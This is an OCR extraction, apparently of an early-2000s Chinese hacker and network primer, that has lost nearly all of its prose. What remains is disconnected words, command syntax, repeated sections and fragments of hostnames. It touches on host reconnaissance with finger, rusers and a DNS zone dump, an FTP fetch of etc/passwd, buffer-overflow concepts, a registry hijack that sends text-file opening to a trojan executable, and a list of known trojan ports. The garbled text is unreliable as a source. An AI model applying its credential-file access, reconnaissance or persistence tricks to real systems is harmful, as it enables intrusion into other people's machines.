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AlIX
Ftp
POP3
Linux
UNIX
NetX Ray
——SpyNet Sniffer
——SubSeven
—NetBus
——L ockDown 2000
IRC
ASP
finger
Unicode
NT
Windows 2000
Windows NT
IISISPI .Printer
MIME
Winsock Cal
QQ
CGl
VB
Windows 2000

CGl
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IP
NetBIOS

“ T
Windows NT

WWW.X X X X X X X X .com

Windows 2000
Srock
unicode
Named

WIN2K TELNET

NT  Admin
NT
NT
Terminal Service
VMWARE
Linux
Windows 2000

Windows 2000

JessicaWorm

Solaris

“ SOFTICE” “ TRW2000”
softice  trw2000
Win API
Visual Basic
SmartCheck  Visi Font Gold
Softice Collector V2.1
“ " V11
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Pl

1 WWW
WWWwW World Wide Web Web
WWW Internet WwWwW
E mal FTP Archie E mail
FTP
Archie Internet Internet
Internet
CERN
HTML HTML SGML
HTML Internet HTML
SGML Internet HTML TCP IP
HTTP WWW HTTP HTML
Web Web
HTTP HTML Web HTTP HTML web
Web
WWwW
WWWwW
Web
URL Web
URL Web Web URL
Web Interneth
WWW NCSA National Cente for Supercomputing Applications 1993
Mosa Web
WWW Web
Internet Internet
WWW
WWW
WWW / Web
WWW CERN Internet
Internet Web
Web NCSA Netscape  Microsoft
Internet HTML WWW
WWwW Internet Internet
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www
Web Web
2.TCP/IIP
TCP/IP Internet  Intranet
TCP/IP TCP/IP IP TCP UDP
CTP/IP
TCP/IP
TCP IP 70 ARPA Advanced Research Project Agency
1977 1979 TCP IP
1980 DARPA ARPANET TCP
IP ARPANET Internet
TCP IP TCP IP
TCPIP BSD UNIX 1983 TCP/IP
BSD UNIX
BSD UNIX TCP IP
UNIX UNIX
BSD UNIX Socket  Socket
TCP IP TCP IP
1985 NSF  Nationa Scientific Foundation TCP
IP NSFNET
TCP IP NSFNET ARPANET Internet
TCP IP Internet Internet
Netscape Internet Hotmail Internet
Internet www
E mail Internet TCP/IP
Internet
FDDI
ATM TCP IP
TCP IP
1 09 TCP IP
(0N TCP IP (ON
1978
(0N TCP IP
(0N (0N TCP
IP
1 Osl

oS 7
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SLIP PPP X25

CRC

ARP
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4
TCP oSl 5
6
ASCIl  EBCDIC
1S 2S
.
2 TCP IP
TCP IP 4 osl
3
3TCPIP
1 FDDI ATM Token Ring
oSl TCP IP
IP IP
IP IP
2 IP
oSl IP IP
IP TCP
3 TCP UDP
TCP UDP TCP
UDP
4 FTP Telnet HTTP
FTp SMTP TCP IP
1 3 3 TCP/IP

TCP/IP



2001

3
IP ARP
Addres Resolution Protocol RARP Reverse Address Resolution Protocol
IP ARP
4
RG 8U Thinnet RG 58U
MAC MadisAccess Control
48 0 0 CO 6f 2d 40
IP IP
Ifconfig
Windows 95 Wndows NT UNIX
netstat
IP
IP SO Internet
IP TCP UDP
IP TCP
IP
1 1IP
Internet IP IP
IP
Internet
IP
IP A B C D E A B C
32 4
1 A
A 8 3 8 4
A IP 1 127 A 163877064
Internet 126 A
7 bits 24bits

0 NET ID HOST ID




2001

2 B
B 8
IP 28 191
16256 B
14bits 16bits
(| NETID| HOST ID
5 B
3 C
C 3
IP 192 223
2054512 C
21bits 8 hits
(| NETID HOST ID
6C
4 D
239
5E Internet
254
A B
Subnet A B
14bits 8 hits 8 hits
(| NETID SUBNET ID HOST ID
7 B
SUBNET ID HOST ID
ID ID 1
IP
113 AND”
146.64.127.7 .AND 255.255.255.0 B
146.64.127.0
127.
2 IP

8 5
64516 Internet
8 6 C
254 Internet
D |IP 224
E IP 240
7

NET ID HOST 1D
32
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P
P
P
3 IP
P
TCP
TCP P
TCP Internet
TCP
1 TCP
HTTP 80 Telnet 23
1023 65 535 1023
2 TCP
TCP
TCP 8
1 2
_SYN 141567:141567(0) _
SYN 78826:78826(0) |  ———
I
| AcKu4s68
\\ ACK 78827
Data byte
[ —
DATA byte
8
ACK 1 ACK
1 1
14157 2 1
2 1
TCP
TCP 2

2 SYN 78826
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1 ACK 1
3 1 2 1
2
TCP
TCP UDP
UDP
UDP TCP
UDP NFS SNMP DNS
UDP 9 TCP UDP
ACK
uDP UDP
UDP UDP
9 UDP
3 HTTP
HTTP Hypertext Transfer Protocol “ " HTTP
HTTP HTTP
HTTP
Web
Internet HTTP TCP IP 80
HTTP HTTP
HTTP
HTTP HTTP
HTTP Purveyor Netscape Navigator SOCKS
HTTP
HTTP
TISFWTK HTTP 4. SMTP
SMTP  Simple Message Transfer Protocol “ " SMTP TCP

IP SMTP
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SMTP ASCII SMTP
“ 220 READY FOR MAIL” 220
HELLO
MAIL
250
250
3
MAIL RCPT
RCPT 250 550
DATA DATA
354
5
TURN 250
QUIT 221
SMTP
5. FTP
FTP File Transfer Protocol “ "
NFS
FTP
FTP
FTP
FTP
FTP FTP
E mal
E mall @
FTP
FTP FTP Chroot
FTP FTP
chroot
inetd FTP
chrootuid FTP FTP
FTP chroot
FTP
FTP FTP

FROM
MAIL

RCPT

FTP

FTP
FTP

.hroot
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FTP
FTP
FTP wuarchive
FTP
FTP
FTP FTP
FTP
FTP
.-rhosts
FTP FTPD
FTP
1 FTP
FTP Windows NT IP
looplack
ftp 127.0.0.1
Windows NT Unix FTP
2 FTP
CIAC FTP
1 FTP “ ftp” Internet
2 etc passwd” FTP “ ftpletc passwd”
6. Telnet
1
Telenet  Telecommunication Network Protocol
Internet
Telnet
2 Telnet
Internet Telnet Telnet
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Telnet
Telnet Telnet
TCP
TCP IP

1 TCP
2.
3.
4,
5.
1
2.
3.
4,
5.
3 Telnet

Telnet

IT Telnet
Telnet
Telnet
Telnet Telnet
Internet
Telnet
Telnet
FTP FTP
Telnet Internet Telnet
Haker Telnet
Telnet
4 Telnet
1
Telnet Telnet
TCP/IP
2.
TCP/IP 3.
Telnet Internet
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5

6

Telnet

Unix UNIX

Telnet UNIX Telnet

Windows Windows 9X/NT Telnet
DOS Telnet
Windows9x/NT Netterm
Windows9X

Windows9X  Telnet Windows9X
TCP/IP Telnet

Windows9X  Telnet

1 Internet

“ ” “ ” “ Commandn
“ MS DOS ”

3 Telnet

“ Telnet” Telnet

“ LT3 ”

“ K TermType

_'__iﬁTElIu‘:t - 56D

B L) #miEE) SR () RERODOD

E x|
43 (H): b=, r=u. edu. cn
EmE E): Itelnet
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o | mit |

UNIX

Microsoft

10
“ Telnet” Telnet
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hostname Telnet
Telnet quit
Telnet “ mo
" “ Telnet” “ " 14
net start tintsvr Enter

; 10/ x|
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8y windows Installer 3 ==h
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: _ S windows Managem..,  12# H=h
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%Winduws Media Ma... 121 BREER) H=h
Windows Media Pra... FB3 H=h
%Windnws Media Sta... Hf R | H=h =
4 »
[BEh FH+EHL _EEIARE Telnet | |
Td na 13 ” 13
” 13 Td na” 13 ”
net stop tintsvr Enter
8 Telnet
Telnet
Telnet FTP
DOS  Unix Telnet
Windows Telnet “ K “ Help”
15
Unix CTRL * K telnet telnet
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15
telnet> -
Commands may be abbreviated. Commands are
close close current connection
display display operating parameters
mode try to enter line by lineor character at a timemode
open connect to asite
quit exit telnet
send transmit special characters 'send ' for more  set set operating parameters
for more
status print status information
toggle toggle operating parameters ~ 'toggle ' for more
Z suspend telnet
print help information

telnet> status
telnet>z shell

AC  interrupt.

AU kill.

AN quit.

"D eof.

fg telnet

telnet>q ~

telnet telnet> Telnet

7 DNS ‘

DNS DNS
DNS SMTP FTP  Telnet

DNS

DNS DNS

'set

FTP

DNS
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Internet K

host

WHOIS

host WHOIS

Usenet WEB

Usenet

howmount
smtp

finger
DNS Whios Sendmail

ID walrus
150

news.victim.net shell.victim. net  cgi.victim.net

walrus

finger  rusers

Netcom
2 finger

rpcinfo
ftp uucp

Usenet

ID

host
mail.victim.net

Netcom
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finger finger finger
gateways finger finger WEB field
Cal finger finger
3
4
5

SATAN SAFESuite

X Xhost

6
Internet
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SATAN

KevinMitnik

Weitse Venema

SATAN

TCP IP

80
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Internet
1998 Lincoln
5 3 2
1998 CERT 13 9 1999
Bugtrag 2 3
root “exec sh " root  shell
“ exec ' bin sh'
libc “ exec arg " arg
“  hin & libc

Morris Worm fingerd fingerd
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1 Activation Records

“ stack smashing attack”

2 Function Pointers

"void foo

3. Longjmpbuffers

C
“ setjmp  buffer "

longjmp

something
libc

grep

viod

“ longimp buffer
buffer ”

“ longjmp

Perl 5.003

Perl

Levy

foo

linux

setjmp/longjmp

Xexc

C

strncpy

faultinjection

superprobe
longjmp
C
libc
something ’

strcpy  sprintf

snprintf

Iprm
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C
Unix
Unix  MS Windows
Linux  Solaris
Linux

1
Linux
Unix
2.GCC

gce
| CompaqC
Compaq Alpha CPU C checkl bounds

13 a 3 ” 1
a 3 ”
C
Strepy C
2 Jones Kely C
Richard Jones  Paul Kelly gce C
gce
30

elm
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ssh

12
3 Purify
Purify C Purify “

' Purify

3 5
4 -
C
Java ML
Java Java C VM VM
I
Snarkii  FreeBSD CPU libc
libc
libc
2
gce

I

C 0 nui CR LF | EOF
2

32
Synthetix Symthetix

Synthetix
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Red Hat Linux 5.1

3
1996

1

2
Arp

“ 8 ARP
TCP/IP

ap a inet_addr N if addr
ap dinet_addr if_addr
arp sinet_addr ether addr  if_addr

a TCP/IIP ARP
IP

g a
inet_addr IP

N if _addr ARP
if _addr IP

inet_addr
ARP IP inet_addr
6

ether_addr

inet_addr

ether_addr

IP
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Finger
Finger
TCP/IIP
finger I user @computer

I
User

@computer
Ftp
Ftp Ftp
daemon  Ftp * " “ Ftp "
“ Ftp” TCP/IIP Ftp
Ftp Quit
Windows 2000 Ftp Ftp
ftp s n i d g s filename a
windowsize computer

o — o <

Ftp

e ” GI ob
s filename Ftp Ftp

a
w  windowsize 4096

computer IP

TCP

CLOSED

LISTEN

SYN SENT

SYN
RECEIVED

ESTABLISHED

CLOSE WAIT

FIN WAIT 1

CLOSING

LAST ACK
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FIN WAIT 2
TIME WAIT
Traceroute/ Tracert
traceroute/tracert IP time to live
TTL ICMP
TIME_EXCEEDED
Nbtstat
NBT TCP/IP NetBIOS TCP/IP
TCPIIP
nbtstat a remotename A |P address c n R r
S s interval
aremotename
A |Paddress IP
(o IP NetBIOS
n NetBIOS “ " Bnode WINS
R NetBIOS L mhosts
r Windows WINS Windows 2000
WINS
S IP
S IP
Interval
Interval Ctirl C
NBtstat
Netstat
TCP/IP TCP/IP
netstat a e n s p protocol r interval
a
e s
n
S TCP UDP ICMP IP p
p protocol protocol protocol tcp udp
S protocol tcp udp icmp ip
r
Interval
interval Ctirl B
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Ping

ping t
r count
timeout

t Ping

a

n count

| length
65 527

f

i ttl “

v tos

“

r count
9
s count

9
k computer list
w timeout
destination
Rcp
Windows 2000

list

rshd
Windows 2000
rcp al b

a ASCII

s count
destination

count

count

NEtstat

TCP/IIP
| length
j computer list |

n count

list

ECHO

length ECHO

K ttl
” tos

computer list
IP 9

Ping

rshd

Windows 2000
rshd
Windows 2000

rshd rcp

h Windows 2000

Source

2000
user

source

Destination
computer

filename
.user

.user

j computer

f i ttl
k computer

v tos
list w

32

count 1

list computer list

IP

rcp

UNIX

sourcel source?2 sourceN destination

rcp

destination

computer  .user

Windows
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destination
UNIX / Windows 2000
Windows 2000
Rexec
REXEC rexec
TCP/IP
rexec computer | username n  command
computer command
| username
n rexec NULL
command
Route
TCP/IP
route f p command  destination mask subnetmask

metric costmetric

print

command

print
add
delete
change
destination command
mask subnetmask
255.255.255.255
gateway
Networks Hosts
destination gateway print delete

metric costmetric 1 9999

Rsh
Rsh TCPIP

rsh computer | username n  command

gateway
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computer command
| username
n rsh NULL
command
Tftp
Tftp Tftp
TCP/IIP
tftp i computer  get|put source  destination
i “ )
[ ASCII EOL
UNIX /
computer
put destination source
get destination source
file two file one put
file two file one get
Tftp
source stdout
stdin
destination destination source
Tracert
TTL Internet ICMP
TTL
1 TTL TTL
“ ICMP 8 Tracert TTL 1
TTL 1 TTL
“ ICMP ”
TTL Tracert
tracert d h maximum_hops j computer list w timeout
target_name
/d
h maximum_hops
j computer list computer list
w timeout timeout
target_name
rusers  finger
Unix
rusers
gajake snark.wizard.com ttypl Nov1315 42 7 30 remote
root snark.wizard.com ttyp2 Nov1314 57 7 21 remote
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robo snark.wizard.com ttyp3 Nov1501 04 01
angel111 snark.wizard.com ttyp4 Nov1423 09
pippen snark.wizard.com ttyp6 Nov 1415 05
root snark.wizard.com ttyp5Nov 1316 03 7
gajake snark.wizard.com  ttyp7 Nov1420 20 2
dafr snark.wizard.com  ttypl5Nov 320 (09 4
dafr snark.wizard.com ttypl Nov1406 12 19
dafr snark.wizard.com  ttypl9Nov 1406 12 19
finger
user SO0 PPPppp 122 pmlwiza ThuNov1421 29 30
user S15 PPPppp 119 pmlwiza ThuNov1422 16 35
user S04 PPPppp 121 pmlwiza FriNov1500 03 22
user SO3 PPPppp 112 pmlwiza ThuNov 1422 20 23
user S26 PPPppp 124 pmlwiza FriNov1501 26 49
user S25 PPPppp 102 pmlwiza ThuNov1423 18 00
user S17 PPPppp 115 pmlwiza ThuNov 1407 45 00
userS 1 0.0.00 SatAug1015 50 03
user S23 PPPppp 103 pmlwiza FriNov1500 13 53
user S12 PPPppp 111 pmlwiza WedNov 1316 58 12
/
fingerd
host
host Unix nslookup
host
host | v tanybu.edu

Found 1 addresses for BU.EDU

Found 1 addresses for RSO.INTERNIC.NET
Found 1 addresses for SOFTWARE.BU.EDU
Found 5 addresses for RS.INTERNIC.NET
Found 1 addresses for NSEGC.BU.EDU

52
59
55
12 remote
02

remote
remote
remote
remote
remote
remote

remote
SHELL

till logged in
still logged in
still logged in
still logged in
still logged in
still logged in
still logged in
still logged in
still logged in
still logged in

host

bu.edu host

Trying 128.197.27.7
bu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU
961112121 seria version
900 refresh period
900 retry refresh this often
604800 expiration period
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86400

bu.edu 86400 IN
bu.edu 86400 IN
bu.edu 86400 IN
bu.edu 86400 IN

bu.edu 86400 IN
PPP 77 25.bu.edu
PPP 77 25.bu.edu
PPP 77 26.bu.edu
PPP 77 26.bu.edu

minimum TTL

NS SOFTWARE.BU.EDU
NS RS.INTERNIC.NET
NS NSEGC.BU.EDU
A 128.197.27.7
DNS WHOIS

HINFO SUN SPARCSTATION 10/41 UNIX
86400 IN A 128.197.7.237

86400 IN HINFO PPP  HOST PPP  SW
86400 IN A 128.197.7.238

86400 IN HINFO PPP HOST PPP  SW

ODIE.bu.edu 86400 IN A 128.197.10.52
ODIE.bu.edu 86400 IN MX 10 CS.BU.EDU
ODIE.bu.edu 86400 IN HINFO DEC ALPHA 3000/300LX OSF1

STRAUSS.bu.edu
BURULLUS.bu.edu

EDC Alpha OSF1
86400 IN HINFO PC PENTIUM DOS/'WINDOWS
86400 IN HINFO SUN 3/50 UNIX  Ouch

GEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC OS

CHEEZWIZ.bu.edu
POLLUX.bu.edu
UNIX

86400 IN HINFO SGI INDIGO 2 UNIX
86400 IN HINFO SUN 4/20 SPARCSTATION SLC

SFA109 PC201.bu.edu 86400 IN HINFO PC MS DOS/WINDOWS

UH PC002 CT.bu
SOFTWARE.bu.edu
UNIX
CABMAC.bu.edu
VIDUAL .bu.edu
KIOSK GB.bu.edu
CLARINET.bu.edu
SERVER
DUNCAN.bu.edu
MILHOUSE.bu.edu

.edu 86400 IN HINFO PC CLONE MS DOS

86400 IN HINFO SUN SPARCSTATION  10/30

86400 IN HINFO MACINTOSH MAC OS

86400 IN HINFO SGI INDY IRIX
86400 IN HINFO GATORBOX GATORWARE
86400 IN HINFO VISUAL X 19 TURBO X

86400 IN HINFO DEC ALPHA 3000/400 OSF1
86400 IN HINFO VAXSTATION  Il/GPX UNIX

PSY81 PC150.bu.edu 86400 IN HINFO PC WINDOWS 95

BUPHY C.bu.edu

86400 IN HINFO VAX  4000/300 OpenVMS
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AlX

Isps a
Isps s
dlibclean
smit mkps
swapon a
[etc/swapspaces

Isvg
Isvg | rootvg rootvg
mount
varyonvg datavg datavg
mount /dev/datal datavg datal
raw  jfsjfs raw
oracle
systemO1
chown oracle dba/dev/system01
chown oracle dba/dev/rsystem0O1
rsystem0O1
smit smit smitty
dev
diag
ifs
lvm
nfs NFS
sinstallp
spooler
system
tcpip TCP/IP
USER
clstart clstop cluster
Issrc  gcluser cluser

Is aF/ust/lpp Ipp Licensed Program Products
installp q d/dev/icdrom |

oracle
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[etc/filesystems
mount  tnf [ect/filesystems type=nfs
daf v mount

erpt  a
TCPIP

smit chgenet  chgtok  chgfddi  opschange  mktty adptr
smit mkinet  ppp dip  ppp
ifconfig config

/etc/hosts
/etc/resolv.conf
/etc/named.boot
/etc/named.ca
/etc/named.data
/etc/named.rev
nslookup

route

netstat rn

routed daekminrip

gated daekminrip egp hello
/etc/gateways

[etc/networks

[etc/services

/etcl/inetd.conf

TCP/IP

[etc/rc.net

startsrc g tepip tcpip
startsrc sinetd internet

iptrace
ipreport
netstat
ping
HACMP
Iscfg v
Isdev  Cc adapter

[etc/.rhosts
/etc/hosts.equiv
[etc/hosts
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ps aux mem RSS

vmstat free 4096bytst
raw

raw_lv

ftpr v d i n g Y
n ftp d g
s ftp
a w buffersize
4096 host ip
Ftp
1 shell exit Ftp
2. macro ame macro name
3.append
4.ascii ascii
5.bell
6.binary
7.bye Ftp
8.cd
9.close Ftp open

10.deleteremote file

11.debug debug vaue

0 debug

12.dir

13.disconnection close

14.get

15.glob mdelete mget mput

16.hash 1024 hash

17.help Ftp help command
18.lcd dir

19.litera Ftp

20.Is

21.mdelete

22.mdir dir

23.mget

24.mkdir

25.mls
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26. mput
27. open host Ftp
28.prompt
29.put
30.pwd
31.quit bye Ftp
32.quoteargl arg2... Ftp
33.recv get
34.rhelp
35.rename
36.rmdir dir name
37.send put
38.status Ftp
39.trace
40.type type name ascii
41.user user name
root passwd root passwd
42 verbose v
on
43. help Ftp

RFC 1939 POP3
telnet pop3Server 110

user username

pass password
apop name  digest

RFC 1321
stat server

uidl n server

list n server

retr n server
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delen

server
apop
client
server

user
client
client
MD5

telnet pop3Server 110
user username

pass

stat

list

retr 1

retr 2

delel
dele2

&

quit

L inux

Liunx
Linux
Linux

Man

server quit

dele

server

server
server

client

apop client
ascii

server
MD5

client  username

apop

Unix

Linux

server
client
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Linux
man man man
man
man
2 Apropos<parameter>
man k <parameter>
3 Ash
ash shell sh Bourne shell Ash bsh
4 At
at
5 Atq
alq
6 Atrm
atrm
7 Banner
banner
8 Ca
cat more
cat file.txt | sort
>
cat sort
Cat files
>>
>> file.txt
Cat filel>>fils2
filel file2 apache
srm.conf  access.conf httpd.conf
cat srm.conf >>httpd.conf
cat accerss.conf >>httpd.conf.
9 Chfn
chfn finger finger
10 Chgrp
11 Chmod
Linux Is |
rwxrwxr X 23 root sys512 Apr 11 1999 opt
W write r read
X
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1
file chmod

700 files

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

Chown

id Chowm user file
Chroot

Chsh
Linux shell
Cp
cp filel file2 filel file2
Cpio

Cut

Df
linux
daf k
Du

Find

Finger

ftp

Hostname

root
Halt

shutdown now root

Ifconfig

root

netconfig
Ifconfig interfaceip address ifconfig eth 202.202.202.202
202.202.202.202
Ifconfig interface down/up
Ifconfig a
IfconfigethO O
Kill
ps
ps edf |grep files files
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27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

45

46

kill kill ~ hup
Less
more
Ls
Man

Mkdir

Mkfs
Linux

More
less

Mount
Mv
Passwd
Rm
Rmdir
Route

route ip
Route add/del default gw ip  address ppp0
Ping
Ps
Pwd
Quota
Rm
Rmdir

Shutdown

Tail
10

ppPpPO
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47 Tdk
48 Tar
49 Telnet
50 Touch
51 Umount
52 Uptime
53 Vi
Vi

more
54 W
55 Whatis

whatis

56 Whereis

57 Who
whois

UNIXTFU RGIEIFR§T

UNIX UNIX AT TUNIX SVR4 SunOS
413 HP UXR8 AIXV3 XENIX Linux SunOS

Is lamydir

A shell



UNIX “\ “«o “r “o>n RS
Y \
\
——man manual page
man Is Is
man man man
man
DOS UNIX /
/
home directory login “
home directory Imyfile home myfile
b82000/bin/gkmj b82000 home bin gkmj
256
UNIX 3 " " DOS
test 0 5 testO testl ..testb
Is |
total 63
drwx 4 b1503045 1536 Feb 1316 37 Mail
drwx 2 b1503045512 Jan9 16 26 News
drwx 2 b1503045512 Feb 700 46 bin
drwx 2 b1503045 1024 Nov1 16  43c
rw 1b1503045 3051 Feb7 01 49dial up
wr 1b150304537106 Feb 1302 00 wwwfagl
drwx 2 b1503045512 Aug 111994 doc

Irwxrwxrwx1 b150304511 Sep520 36docs > /remote/doc
drwxr xr x2bl1503045512 Feb7 00 43 pub

\\

d
I symbolic link file In s cd docs cd
/remote/doc

c

b

ssocket

9 3 3 rwx 3 rwx
3 group 3

r'wx
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A group ccsun group
cctwin group
A wwwifagl group

A chmod
——chmod < >< >
3 r=4 w=2 x=1 =0
rWXr Xr x 755 rwor 640 chmod 644 dial  up
dia up 600 644

4000 SUID on

2000 SGID on
1000sticky bit on
——chmod <who op > <whoop >. < >
<who>u  user
g group group
o other
a dl u g o
<op>

< > r w X s t 3
chmodu w wwwfagl wwwiagl chmoda xa rhin
bin
link
root
byte

A s DOS dir/w

7

7
Mmoo

I link ‘@'
A pwd

cd home directory cd..
cd
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A ca
A more
more 16 16
space
Enter Enter

A Cp< >< > copy
A mv< >< >

UNIX undelete

Ipr printer queue
printer queue

|pstat

pr

grep

grepfopen . .C fopen
A tail 10
taill 200 200
which
od
In link

ssymbolic link
wc
touch
diff
find
df
du
umask
tee stdin stdout

> > > > > > > > >
=]
Ko}

S N S 2

> > > > > > > >

A rusers

A Kku rusers finger tak  write
A mesgy

mesg n

mail

more
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A tak
ctalk
A b2503000 ccsun22
talk b2503000@ccsun22
A Ctrl C
A b2503000

Message from Talk_ Daemonat 11 21
talk  connection requested by b2503000@ccsun22
talk  respond with talk b2503000@ccsun22

talk b2503000@ccsun22 Enter
A Ctrl L

A talk mesg n
A talk ug2
34567 @ccsunl9.cc.nctu.edu.tw ccsunl9 u8234567
A finger
finger b1503045@cc.ntu.edu.tw
A mail
mail
mail user < filename
A write talk
Ctrl D
A rlogin rsh telnet login

A vacation

quota v KB
date

who login
w

whoami

groups group

yppasswd

ypchsh login shell

ypchfn full name

ca

tty

history

> > > > > > > > >

A ndookup  Name Server hostname IP
Process
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A ps
PID

process
A Kill
process
kil 9 1
A

process
ProcessID

kil 9 1
A jobs
fg
by

|

job

>

at
batch
crontab
nice
nohup

process
process

> > > > >

logout

ccC Compiler
compress Z
uNcompress Z
dias
diadirls  a'
dir

> > > >

Is 4
A st shell
A
home
path
term

A set <

set term=vt100

home directory.
DOS path

>=< >
set path=

setenv
echo

CPU

> > > > > > > > > >

wait process

home/bin

process status

Process ID

process
login

path

vt100 vt102 ans

path

Shell Scri

Shell Script

kill
rsh
>
path
pt
Shell Script

Owner

9
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Cirl C
Ctrl z fg bg fg bg
process
Ctrl S Pause
Ctrl Q
Ctrl DEOT  Endof Transmission
Ctrl S
Ctrl Q
UNIX stty pass8
bit7  the most significant bit
UNIX
stty rows24  resize
pipe
redirection
UNIX
UNIX
A stdin
<
mail b82000< myfile myfile b82000
A stdout
> >> append
finger b81045 > myfile myfile
A stderr
stdout stderr >
>>
“ “ “
Is 1..|more who | grep b.503
| sort | more
Shell Shell Script
DOS COMMAND.COM shell
UNIX login UNIX
shell sh  csh  ksh  tcsh  bash csh login shell ypchsh
tcsh DOSKEY
DOS UNIX
Shell Script DOS Shell Script
chmod Shell
Script Shell Script manual page
UNIX
home Jogin Shell Script DOS  autoexec.bat
X Window
login startx openwin X Window
XWindow Exit

XWindow X Window cxterm
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X Window X Window
<The X Window System  Volume3 X Window System User's Guide for X11R5>
X Window gopher
1
INTERNET
2.
3.
INTERNET
IP IP
1.
1
2
IRC ICQ
2.

E MAIL
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E MAIL
HTML TXT
ZIP
EXE COM
1024——=65535 1024
WINDOWS C \WINDOWS c

\WINDOWS\SY STEM

WINDOWS C \WINDOWS C \WINDOWS\SYSTEM
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HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Run
RunServices
WIN.INI C \WINDOWS win.ini
windows load= run=
SYSTEM.INI C \WINDOWS system.ini
386Enh mic drivers32

Autoexec.bat  Config.sys C

NI
HKEY_CLASSES ROOT\ \shell\open\command

HKEY_CLASSES ROOT\txtfile\shell\open\command “ C \WINDOWS
\NOTEPAD.EXE 1" “ C \WINDOWS\SYSTEM\SYSEXPLR.EXE 1"

TXT NOTEPAD

TXT HTML EXE ZIP
“ ” TXT txtfile ZIP  WINZIP
2
MS DOS NETSTAT AN
1 1—1024

FTP 21 SMTP 25 POP3 110

2 1025

1025
3 4000 oICcQ
4 6667 IRC
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E MAIL IRC ICQ

IP
5
A B A B B
IP A
B 1P B 1P 1P
IP B
7626 A IP 7626
B IP 202.102.47.56 A IP
7626 IP A
B B
A 1031 B 7626
1P
1P IP
1P 1P B IP
202.102.47.56 B IP 202.102.000.000——202.102.255.255
IP B

6

1 CACHE

2

WINDOWS
3
4

port 21 Blade Runner  Doly Trojan Fore Invisble FTP WebEx WinCrash

port 23 Tiny Telnet Server

port 25 Antigen Email Password Sender  Haebu Coceda  Shtrilitz Stealth
Terminator WIinPC  WinSpy
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port 31 Hackers Paradise

port 80 Executor

port 456 Hackers Paradise

port 555 Ini Killer PhaseZero Stealth Spy
port 666 Satanz Backdoor

port 1001 Silencer  WebEx

port 1011 Doly Trojan

port 1170 Psyber Stream Server  Voice
port 1234 Ultors Trojan

port 1245 VVooDoo Dall

port 1492 FTPOOCMP

port 1600 Shivka Burka

port 1807 SpySender

port 1981 Shockrave

port 1999 BackDoor

port 2001 Trojan Cow

port 2023 Ripper

port 2115 Bugs

port 2140 Deep Throat  The Invasor
port 2801 Phineas Phucker

port 3024 WinCrash

port 3129 Masters Paradise

port 3150 Deep Throat  The Invasor
port 3700 Portal of Doom

port 4092 WinCrash

port 4590 ICQTrojan

port 5000 Sockets de Troie

port 5001 Sockets de Troie

port 5321 Firehotcker

port 5400 Blade Runner

port 5401 Blade Runner

port 5402 Blade Runner

port 5569 Robo Hack

port 5742 WinCrash

port 6670 DeepThroat

port 6771 DeepThroat

port 6969 GateCrasher  Priority
port 7000 Remote Grab

port 7300 NetMonitor

port 7301 NetMonitor

port 7306 NetMonitor

port 7307 NetMonitor

port 7308 NetMonitor

port 7789 ICKiller
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port 9872

port 9873

port 9874

port 9875

port 9989

port 10067
port 10167
port 11000
port 11223
port 12223
port 12345
port 12346
port 12361
port 12362
port 16969
port 20001
port 20034
port 21544
port 22222
port 23456
port 26274
port 31337
port 31338
port 31339
port 31666
port 33333
port 34324
port 40412
port 40421
port 40422
port 40423
port 40426
port 47262
port 50505
port 50766
port 53001
port 61466
port 65000

Portal of Doom

Portal of Doom

Portal of Doom

Portal of Doom

iNi  Killer
Portal of Doom
Portal of Doom
Senna Spy
Progenic trojan
Hack' 99 KeyL ogger
GabanBus  NetBus
GabanBus  NetBus
Whack a mole
Whack a mole
Priority
Millennium
NetBus 2 Pro
GirlFriend
Prosiak
Evil FTP  Ugly FTP
Delta
Back Orifice
Back Orifice DeepBO
NetSpy DK
BOWhack
Prosiak
BigGluck TN
The Spy
Masters Paradise
Masters Paradise
Masters Paradise
Masters Paradise
Delta
Sockets de Troie
Fore
Remote Windows Shutdown
Telecommando
Devil
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B 7 St

1 WWW
WWWwW World Wide Web Web
WWW Internet WwWwW
E mal FTP Archie E mail
FTP
Archie Internet Internet
Internet
CERN
HTML HTML SGML
HTML Internet HTML
SGML Internet HTML TCP IP
HTTP WWW HTTP HTML
Web Web
HTTP HTML Web HTTP HTML web
Web
WWWwW
WWW
Web
URL Web
URL Web Web URL
Web Interneth
WWW NCSA National Cente for Supercomputing Applications 1993
Mosa Web
WWWwW Web
Internet Internet
WWW
WWW
WWW / Web
WWW CERN Internet
Internet Web
Web NCSA Netscape  Microsoft
Internet HTML WWW
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www Internet Internet
www
Web Web
2TCP/IIP
TCP/IP Internet  Intranet
TCP/IP TCP/IP IP TCP UDP
CTP/IP
TCP/IP
TCP IP 70 ARPA Advanced Research Project Agency
1977 1979 TCP IP
1980 DARPA ARPANET TCP
IP ARPANET Internet
TCP IP TCP IP
TCPIP BSD UNIX 1983 TCP/IP
BSD UNIX
BSD UNIX TCP IP
UNIX UNIX
BSD UNIX Socket Socket
TCP IP TCP IP
1985 NSF  Nationa Scientific Foundation TCP
IP NSFNET
TCP IP NSFNET ARPANET Internet
TCP IP Internet Internet
Netscape Internet Hotmail Internet
Internet www
E mail Internet TCP/IP
Internet
FDDI
ATM TCP IP
TCP IP
1 09s TCP IP
(ON TCP IP (0N
1978
(ON TCP IP
(0N (0N TCP
IP
1 Osl
(0N 7 1
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o o |l o o
o @ o o |e

oSl

SLIP PPP X25

CRC

ARP

|EEE 802.2/802.3

RARP
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4
TCP oSl 5
6
ASCIl  EBCDIC
1S 2S
.
2 TCP IP
TCP IP 4 osl
3
3TCPIP
1 FDDI ATM Token Ring
oSl TCP IP
IP IP
IP IP
2 IP
oSl IP IP
IP TCP
3 TCP UDP
TCP UDP TCP
UDP
4 FTP Telnet HTTP
FTp SMTP TCP IP
1 3 3 TCP/IP

TCP/IP
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3
IP ARP
Addres Resolution Protocol RARP Reverse Address Resolution Protocol
IP ARP
4
RG 8U Thinnet RG 58U
MAC MadisAccess Control
48 0 0 CO 6f 2d 40
IP IP
Ifconfig
Windows 95 Wndows NT UNIX
netstat
IP
IP SO Internet
IP TCP UDP
IP TCP
IP
1 1IP
Internet IP IP
IP
Internet
IP
IP A B C D E A B C
32 4
1 A
A 8 3 8 4
A IP 1 127 A 163877064
Internet 126 A
7 bits 24bits

0 NET ID HOST ID
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2 B
B 8
IP 28 191
16256 B
14bits 16bits
(| NETID| HOST ID
5 B
3 C
C 3
IP 192 223
2054512 C
21bits 8 hits
